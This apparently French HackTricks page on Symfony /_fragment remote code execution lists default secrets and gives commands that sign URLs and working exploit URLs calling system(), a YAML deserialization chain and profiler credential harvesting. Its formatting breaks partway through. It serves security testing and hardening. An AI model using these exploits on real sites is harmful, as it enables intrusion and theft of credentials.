34 KiB
Symfony
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Introduction
Depuis sa création en 2008, l'utilisation du framework Symfony n'a cessé de croître dans les applications basées sur PHP. Il est maintenant un composant central de nombreux CMS bien connus, tels que Drupal, Joomla!, eZPlatform (anciennement eZPublish), ou Bolt, et est souvent utilisé pour construire des sites web personnalisés.
L'une des fonctionnalités intégrées de Symfony, conçue pour gérer les ESI (Edge-Side Includes), est la classe FragmentListener
. Essentiellement, lorsqu'une requête est envoyée à /_fragment
, ce listener définit les attributs de la requête à partir des paramètres GET fournis. Puisque cela permet d'exécuter du code PHP arbitraire (plus de détails plus tard), la requête doit être signée à l'aide d'une valeur HMAC. La clé cryptographique secrète de ce HMAC est stockée sous une valeur de configuration Symfony nommée secret
.
Cette valeur de configuration, secret
, est également utilisée, par exemple, pour construire des jetons CSRF et des jetons de fonction "se souvenir de moi". Étant donné son importance, cette valeur doit évidemment être très aléatoire.
Malheureusement, nous avons découvert que souvent, le secret soit a une valeur par défaut, ou qu'il existe des moyens d'obtenir la valeur, de la forcer hors ligne, ou de contourner purement et simplement le contrôle de sécurité auquel elle est associée. Cela affecte notamment Bolt, eZPlatform et eZPublish.
Bien que cela puisse sembler être un problème de configuration bénin, nous avons constaté que des valeurs par défaut, forçables ou devinables sont très, très souvent présentes dans les CMS mentionnés ainsi que dans les applications personnalisées. Cela est principalement dû au fait que l'importance de cette valeur n'est pas suffisamment soulignée dans la documentation ou les guides d'installation.
De plus, un attaquant peut escalader des vulnérabilités moins impactantes pour soit lire le secret
(via une divulgation de fichier), contourner le processus de signature de /_fragment
(en utilisant un SSRF), et même le divulguer via phpinfo()
!
Dans ce billet de blog, nous décrirons comment le secret peut être obtenu dans divers CMS et sur le framework de base, et comment obtenir l'exécution de code en utilisant ledit secret.
Un peu d'histoire
Étant un framework moderne, Symfony a dû gérer la génération de sous-parties d'une requête depuis sa création jusqu'à nos jours. Avant /_fragment
, il y avait /_internal
et /_proxy
, qui faisaient essentiellement la même chose. Cela a produit de nombreuses vulnérabilités au fil des ans : CVE-2012-6432, CVE-2014-5245, et CVE-2015-4050, par exemple.
Depuis Symfony 4, le secret est généré lors de l'installation, et la page /_fragment
est désactivée par défaut. On pourrait donc penser que la conjonction d'un secret
faible et d'un /_fragment
activé serait rare. Ce n'est pas le cas : de nombreux frameworks s'appuient sur d'anciennes versions de Symfony (même la version 2.x est encore très présente), et implémentent soit une valeur secret
statique, soit la génèrent de manière médiocre. De plus, beaucoup s'appuient sur ESI et activent donc la page /_fragment
. Aussi, comme nous le verrons, d'autres vulnérabilités de moindre impact peuvent permettre de déverser le secret, même s'il a été généré de manière sécurisée.
Exécuter du code avec l'aide de secret
Nous allons d'abord démontrer comment un attaquant, ayant connaissance de la valeur de configuration secret
, peut obtenir l'exécution de code. Ceci est fait pour la dernière version de symfony/http-kernel
, mais est similaire pour d'autres versions.
Utiliser /_fragment
pour exécuter du code arbitraire
Comme mentionné précédemment, nous allons utiliser la page /_fragment
.
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
sera exécuté à chaque requête : si le chemin de la requête est /_fragment
[1], la méthode vérifiera d'abord que la requête est valide (c'est-à-dire correctement signée), et lèvera une exception dans le cas contraire [2]. Si les contrôles de sécurité réussissent, elle analysera le paramètre _path
encodé dans l'URL, et définira les attributs de $request
en conséquence.
Les attributs de requête ne doivent pas être confondus avec les paramètres de requête HTTP : ce sont des valeurs internes, maintenues par Symfony, que l'utilisateur ne peut généralement pas spécifier. L'un de ces attributs de requête est _controller
, qui spécifie quel contrôleur Symfony (un tuple (classe, méthode) ou simplement une fonction) doit être appelé. Les attributs dont le nom ne commence pas par _
sont des arguments qui vont être transmis au contrôleur. Par exemple, si nous souhaitions appeler cette méthode :
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
Nous définirions _path
à :
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
La requête ressemblerait alors à ceci :
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
Essentiellement, cela permet d'appeler n'importe quelle fonction, ou n'importe quelle méthode de n'importe quelle classe, avec n'importe quel paramètre. Étant donné la pléthore de classes que Symfony possède, obtenir l'exécution de code est trivial. Nous pouvons, par exemple, appeler system()
:
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
Appeler system ne fonctionnera pas à chaque fois : reportez-vous à la section Exploit pour plus de détails sur les subtilités de l'exploitation.
Un problème demeure : comment Symfony vérifie-t-il la signature de la requête ?
Signature de l'URL
Pour vérifier la signature d'une URL, un HMAC est calculé contre l'URL complète. Le hash obtenu est ensuite comparé à celui spécifié par l'utilisateur.
En termes de code, cela se fait en deux endroits :
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
En résumé, Symfony extrait le paramètre GET _hash
, puis reconstruit l'URL complète, par exemple https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
, calcule un HMAC de cette URL en utilisant le secret
comme clé [1], et le compare à la valeur de hash donnée [2]. S'ils ne correspondent pas, une exception AccessDeniedHttpException
est levée [3], résultant en une erreur 403
.
Exemple
Pour tester cela, configurons un environnement de test et extrayons le secret (dans ce cas, généré aléatoirement).
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
Maintenant, en visitant http://localhost:8000/_fragment
, on obtient un 403
. Essayons maintenant de fournir une signature valide :
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
En consultant http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
, nous obtenons maintenant un code de statut 404
. La signature était correcte, mais nous n'avons spécifié aucun attribut de requête, donc Symfony ne trouve pas notre contrôleur.
Puisque nous pouvons appeler n'importe quelle méthode, avec n'importe quel argument, nous pouvons par exemple choisir system($command, $return_value)
, et fournir un payload comme suit :
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
Nous pouvons maintenant visiter l'URL de l'exploit : http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
.
Malgré l'erreur 500
, nous pouvons voir que notre commande a été exécutée.
RCE en utilisant fragment
Trouver des secrets
Encore une fois : tout cela ne serait pas important si les secrets n'étaient pas accessibles. Souvent, ils le sont. Nous décrirons plusieurs façons d'obtenir l'exécution de code sans aucune connaissance préalable.
Par le biais de vulnérabilités
Commençons par l'évidence : utiliser des vulnérabilités de moindre impact pour obtenir le secret.
Lecture de fichier
De toute évidence, une vulnérabilité de lecture de fichier pourrait être utilisée pour lire les fichiers suivants et obtenir secret
:
app/config/parameters.yml
.env
Comme exemple, certaines barres d'outils de débogage Symfony permettent de lire des fichiers.
PHPinfo
Sur les versions récentes de Symfony (3.x), secret
est stocké dans .env
sous le nom de APP_SECRET
. Puisqu'il est ensuite importé comme une variable d'environnement, elles peuvent être vues à travers une page phpinfo()
.
Fuite de APP_SECRET via phpinfo
Cela peut notamment être fait à travers le package profiler de Symfony, comme le démontre la capture d'écran.
SSRF / Usurpation d'IP (CVE-2014-5245)
Le code derrière FragmentListener
a évolué au fil des ans : jusqu'à la version 2.5.3, lorsque la requête provenait d'un proxy de confiance (lire : localhost
), elle était considérée comme sûre, et en tant que telle, le hash n'était pas vérifié. Un SSRF, par exemple, peut permettre d'exécuter immédiatement du code, que l'on ait secret
ou non. Cela affecte notamment eZPublish jusqu'à 2014.7.
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
À travers les valeurs par défaut
Symfony <= 3.4.43 : ThisTokenIsNotSoSecretChangeIt
Lors de la configuration d'un site Symfony, la première étape consiste à installer le squelette symfony-standard. Une fois installé, une invite demande certaines valeurs de configuration. Par défaut, la clé est ThisTokenIsNotSoSecretChangeIt
.
Installation de Symfony via composer
Dans les versions ultérieures (4+), la clé secrète est générée de manière sécurisée.
ezPlatform 3.x (dernière version) : ff6dc61a329dc96652bb092ec58981f7
ezPlatform, le successeur de ezPublish, utilise toujours Symfony. Le 10 juin 2019, un commit a défini la clé par défaut à ff6dc61a329dc96652bb092ec58981f7
. Les versions vulnérables vont de 3.0-alpha1 à 3.1.1 (actuelle).
Bien que la documentation indique que le secret doit être changé, cela n'est pas imposé.
ezPlatform 2.x : ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
Comme pour le squelette de Symfony, on vous demandera de saisir un secret lors de l'installation. La valeur par défaut est ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
.
Bolt CMS <= 3.7 (dernière version) : md5(__DIR__)
Bolt CMS utilise Silex, un micro-framework obsolète basé sur Symfony. Il configure la clé secrète en utilisant ce calcul :
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
Ainsi, on peut deviner le secret, ou utiliser une vulnérabilité de Full Path Disclosure pour le calculer.
Si vous n'avez pas réussi avec les clés secrètes par défaut, ne désespérez pas : il existe d'autres méthodes.
Bruteforce
Comme le secret est souvent défini manuellement (au lieu d'être généré aléatoirement), les gens utilisent souvent une phrase secrète au lieu d'une valeur aléatoire sécurisée, ce qui le rend vulnérable au bruteforce si nous avons un hash contre lequel effectuer le bruteforce. Évidemment, une URL valide /_fragment
, comme celle générée par Symfony, nous fournirait un tuple message-hash valide pour bruteforcer le secret.
Une requête valide au fragment est incluse dans la réponse
Au début de cet article de blog, nous avons dit que le secret de Symfony avait plusieurs utilisations. L'une d'elles est qu'il est également utilisé pour générer des tokens CSRF. Une autre utilisation de secret
est de signer les cookies remember-me. Dans certains cas, un attaquant peut utiliser son propre token CSRF ou cookie remember-me pour bruteforcer la valeur de secret
.
L'ingénierie inverse de la construction de ces tokens est laissée comme exercice au lecteur.
Aller plus loin : eZPublish
Comme exemple de la façon dont les secrets peuvent être bruteforcés pour obtenir une exécution de code, nous verrons comment nous pouvons découvrir le secret d'eZPublish 2014.07.
Trouver du matériel pour bruteforce
eZPublish génère ses tokens CSRF de cette manière :
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
Pour construire ce jeton, eZP utilise deux valeurs que nous connaissons, et le secret : getIntention()
est l'action que l'utilisateur tente de réaliser (par exemple authenticate
), session_id()
est l'ID de session PHP, et getSecret()
, eh bien, est le secret
de Symfony.
Puisque les jetons CSRF peuvent être trouvés sur certains formulaires, nous avons maintenant le matériel pour forcer brutalement le secret.
Malheureusement, ezPublish a intégré un bundle de sensiolabs, sensio/distribution-bundle. Ce package s'assure que la clé secrète est aléatoire. Il la génère de cette manière, lors de l'installation :
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
Cela semble très difficile à forcer par bruteforce : mt_rand()
peut produire 2^31 valeurs différentes, et uniqid()
est construit à partir de l'horodatage actuel (avec microsecondes).
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
Divulgation du timestamp
Heureusement, nous savons que ce secret est généré lors de la dernière étape de l'installation, juste après la configuration du site web. Cela signifie que nous pouvons probablement divulguer le timestamp utilisé pour générer ce hash.
Une manière de faire est d'utiliser les logs (par exemple /var/log/storage.log
); on peut divulguer la première fois qu'une entrée de cache a été créée. L'entrée de cache est créée juste après l'appel à generateRandomSecret()
.
Contenu d'exemple de log : le timestamp est similaire à celui utilisé pour calculer le secret
Si les logs ne sont pas disponibles, on peut utiliser le moteur de recherche très puissant d'eZPublish pour trouver le moment de création du tout premier élément du site web. En effet, lors de la création du site, de nombreux timestamps sont insérés dans la base de données. Cela signifie que le timestamp des données initiales du site eZPublish est le même que celui utilisé pour calculer uniqid()
. Nous pouvons rechercher l'objet ContentObject landing_page
et découvrir son timestamp.
Forçage brutal des bits manquants
Nous connaissons maintenant le timestamp utilisé pour calculer le secret, ainsi qu'un hash de la forme suivante :
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
Cela nous laisse avec un total de 231 * 106 possibilités. Cela semble faisable avec hashcat et un bon ensemble de GPU, mais hashcat ne fournit pas de noyau sha1(sha1($pass).$salt)
. Heureusement, nous l'avons implémenté ! Vous pouvez trouver la pull-request ici.
En utilisant notre machine de cracking, qui dispose de 8 GPU, nous pouvons craquer ce hash en moins de 20 heures.
Après avoir obtenu le hash, nous pouvons utiliser /_fragment
pour exécuter du code.
Conclusion
Symfony est maintenant un composant central de nombreuses applications PHP. En tant que tel, tout risque de sécurité qui affecte le framework affecte de nombreux sites web. Comme démontré dans cet article, soit un secret faible soit une vulnérabilité de moindre impact permet aux attaquants d'obtenir une exécution de code à distance.
En tant que membre d'une équipe bleue, vous devriez examiner chacun de vos sites web dépendant de Symfony. Un logiciel à jour ne peut être exclu pour les vulnérabilités, car la clé secrète est générée lors de la première installation du produit. Par conséquent, si vous avez créé un site web basé sur Symfony-3.x il y a quelques années, et que vous l'avez maintenu à jour en cours de route, il y a des chances que la clé secrète soit toujours celle par défaut.
Exploitation
Théorie
D'une part, nous avons quelques préoccupations lors de l'exploitation de cette vulnérabilité :
- Le HMAC est calculé en utilisant l'URL complète. Si le site web est derrière un proxy inverse, nous devons utiliser l'URL interne du service au lieu de celle à laquelle nous envoyons notre charge utile. Par exemple, l'URL interne pourrait être en HTTP au lieu de HTTPS.
- L'algorithme du HMAC a changé au fil des ans : c'était SHA-1 avant, et c'est maintenant SHA-256.
- Comme Symfony supprime le paramètre
_hash
de la requête, puis génère à nouveau l'URL, nous devons calculer le hash sur la même URL que lui. - Beaucoup de secrets peuvent être utilisés, donc nous devons tous les vérifier.
- Sur certaines versions de PHP, nous ne pouvons pas appeler des fonctions qui ont des paramètres "par référence", comme
system($command, &$return_value)
. - Sur certaines versions de Symfony,
_controller
ne peut pas être une fonction, cela doit être une méthode. Nous devons trouver une méthode Symfony qui nous permet d'exécuter du code.
D'autre part, nous pouvons tirer avantage de quelques points :
- Atteindre
/_fragment
sans paramètres, ou avec un hash invalide, devrait retourner un403
. - Atteindre
/_fragment
avec un hash valide mais sans un contrôleur valide devrait produire un500
.
Le dernier point nous permet de tester des valeurs secrètes sans nous soucier de quelle fonction ou méthode nous allons appeler par la suite.
Pratique
Disons que nous attaquons https://target.com/_fragment
. Pour pouvoir signer correctement une URL, nous avons besoin de connaître :
- URL interne : cela pourrait être
https://target.com/_fragment
, ou peut-êtrehttp://target.com/_fragment
, ou quelque chose de complètement différent (par exemplehttp://target.website.internal
), ce que nous ne pouvons pas deviner - Clé secrète : nous avons une liste de clés secrètes habituelles, telles que
ThisTokenIsNotSoSecretChangeIt
,ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
, etc. - Algorithme : SHA1 ou SHA256
Nous n'avons pas besoin de nous préoccuper de la charge utile effective (le contenu de _path
) pour l'instant, car une URL correctement signée ne résultera pas en un AccessDeniedHttpException
lancé, et donc ne produira pas un 403
. L'exploit essaiera donc chaque combinaison (algorithme, URL, secret)
, générera une URL et vérifiera si elle ne produit pas un code de statut 403
.
Une requête valide à /_fragment
, sans paramètre _path
À ce stade, nous pouvons signer n'importe quelle URL /_fragment
, ce qui signifie que c'est un RCE garanti. Il s'agit juste de savoir quoi appeler.
Ensuite, nous devons déterminer si nous pouvons appeler une fonction directement, ou si nous devons utiliser une méthode de classe. Nous pouvons d'abord essayer la première manière, la plus directe, en utilisant une fonction telle que phpinfo ([ int $what = INFO_ALL ] )
(documentation). Le paramètre GET _path
ressemblerait à ceci :
_controller=phpinfo
&what=-1
Et l'URL ressemblerait à ceci :
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
Si la réponse HTTP affiche une page phpinfo()
, nous avons gagné. Nous pouvons ensuite essayer d'utiliser une autre fonction, telle que assert
:
Exemple de sortie en utilisant _controller=assert
Sinon, cela signifie que nous devrons utiliser une méthode de classe à la place. Un bon candidat pour cela est Symfony\Component\Yaml\Inline::parse
, qui est une classe intégrée de Symfony, et en tant que telle est présente sur les sites web Symfony.
De toute évidence, cette méthode analyse une chaîne d'entrée YAML. Le parseur YAML de Symfony prend en charge la balise php/object
, qui convertira une chaîne d'entrée sérialisée en un objet en utilisant unserialize()
. Cela nous permet d'utiliser notre outil PHP favori, PHPGGC !
Le prototype de la méthode a changé au fil des ans. Par exemple, voici trois prototypes différents :
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
Au lieu de construire _path
pour chacun de ces éléments, nous pouvons tirer parti du fait que si nous donnons un argument dont le nom ne correspond pas au prototype de la méthode, il sera ignoré. Nous pouvons donc ajouter tous les arguments possibles à la méthode, sans nous soucier du prototype réel.
Nous pouvons donc construire _path
de cette manière :
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
Encore une fois, nous pouvons essayer avec `phpinfo()`, et voir si cela fonctionne. Si c'est le cas, nous pouvons utiliser `system()` à la place.
_Exemple de sortie en utilisant `Inline::parse` avec une charge utile sérialisée_
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
L'exploit va donc tester toutes les combinaisons de variables possibles, puis essayer les deux méthodes d'exploitation. Le code est disponible sur [notre GitHub](https://github.com/ambionics/symfony-exploits).
## Accès aux informations symfony /\_profiler
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
Comme vous pouvez le voir dans la capture d'écran ci-dessus, il y a un logo `sf` en bas à droite de la page. Ce logo apparaît lorsque Symfony est en mode débogage. Il y a des cas où ce logo n'apparaît pas, donc essayez d'accéder à `/_profiler` et vous verrez la page comme ci-dessous
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
Cette fonctionnalité s'appelle Symfony Profiler, et il n'y a pas beaucoup d'informations à ce sujet sur internet. L'intention de cette fonctionnalité est très claire ; elle vous aide à déboguer en cas d'erreur ou de bogue. Bien sûr, cette fonctionnalité ne peut être utilisée que lorsque le mode débogage est activé.
Le framework Symfony en lui-même est très sécurisé, mais l'activation du mode débogage rendra ce framework extrêmement vulnérable. Par exemple, Profiler a une fonctionnalité appelée Recherche de Profil, comme le montre la capture d'écran suivante.
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
Comme vous pouvez le voir dans la capture d'écran ci-dessus, vous pouvez accéder à toutes les requêtes envoyées au serveur. En cliquant sur les hachages dans le jeton, vous verrez que tous les paramètres POST peuvent être lus, comme on le voit dans la capture d'écran suivante. Avec cette fonctionnalité, nous pouvons détourner les identifiants des comptes administrateurs et utilisateurs.
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
### Autres points de terminaison activés pour le débogage
Vous devriez également vérifier ces URL :
* **https://example.com/app\_dev.php/\_profiler**
* **https://example.com/app\_dev.php**\\
## Références
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>